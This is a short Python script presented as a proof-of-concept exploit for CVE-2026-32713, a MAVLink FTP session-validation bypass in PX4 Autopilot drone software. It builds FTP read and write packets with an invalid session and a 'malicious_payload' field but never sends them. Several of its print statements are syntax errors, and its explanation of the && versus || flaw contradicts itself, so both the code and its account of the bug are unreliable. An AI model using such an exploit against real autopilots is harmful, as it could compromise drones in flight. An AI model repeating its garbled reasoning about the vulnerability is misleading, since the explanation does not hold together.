#!/usr/bin/env python3
"""
CVE-2026-32713 PoC - PX4 Autopilot MAVLink FTP Session Validation Bypass
This PoC demonstrates the logic error in session validation using incorrect
boolean logic (&& instead of ||).
"""
import struct
# MAVLink FTP Message IDs
MAVLINK_MSG_ID_FILE_TRANSFER_SESSION = 0
FILE_READ_OPERATION = 0
FILE_WRITE_OPERATION = 1
OPEN_FILE_SESSION = 0
def create_mavlink_ftp_message(opcode, session, offset, data=b''):
"""Create a MAVLink FTP message with specified parameters."""
# MAVLink FTP Message Structure
target_system = 1
target_component = 100
seq_number = 1
session_id = session
opcode_cmd = opcode
size = len(data)
req_opcode = 0
burst_packet_index = 0
padding = 0
# The vulnerability is in the session validation logic
# Incorrect: if (session != 0 && fd != -1) - requires BOTH to be valid
# Correct: if (session != 0 || fd != -1) - requires EITHER to be valid
payload = struct.pack('<BBBBBBBHH',
target_system, target_component,
seq_number, session_id, opcode_cmd, size,
req_opcode, burst_packet_index, offset)
payload += data.ljust(251, b'\x00')
return payload
def exploit_session_bypass():
"""
Exploit the session validation logic error.
With incorrect && logic, if session=0 but fd is valid, validation passes.
With correct || logic, either session or fd must be valid.
"""
print("["]", "CVE-2026-32713 - PX4 MAVLink FTP Session Bypass")
print("["]", "Testing invalid session handling...")
# Scenario 1: Try to read with invalid session (session=0)
msg = create_mavlink_ftp_message(
opcode=FILE_READ_OPERATION,
session=0, # Invalid session
offset=0,
data=b''
)
print("[+] Created BurstReadFile request with invalid session")
print(f"[+] Payload length: {len(msg)} bytes")
# Scenario 2: Try to write with closed file descriptor
msg = create_mavlink_ftp_message(
opcode=FILE_WRITE_OPERATION,
session=1, # Valid session
offset=0,
data=b'malicious_payload'
)
print("[+] Created WriteFile request for exploitation")
print("[!]", "Vulnerable condition: session validation uses && instead of ||")
print("[!]", "This allows operations to proceed with invalid sessions/fd")
return True
if __name__ == "__main__":
exploit_session_bypass()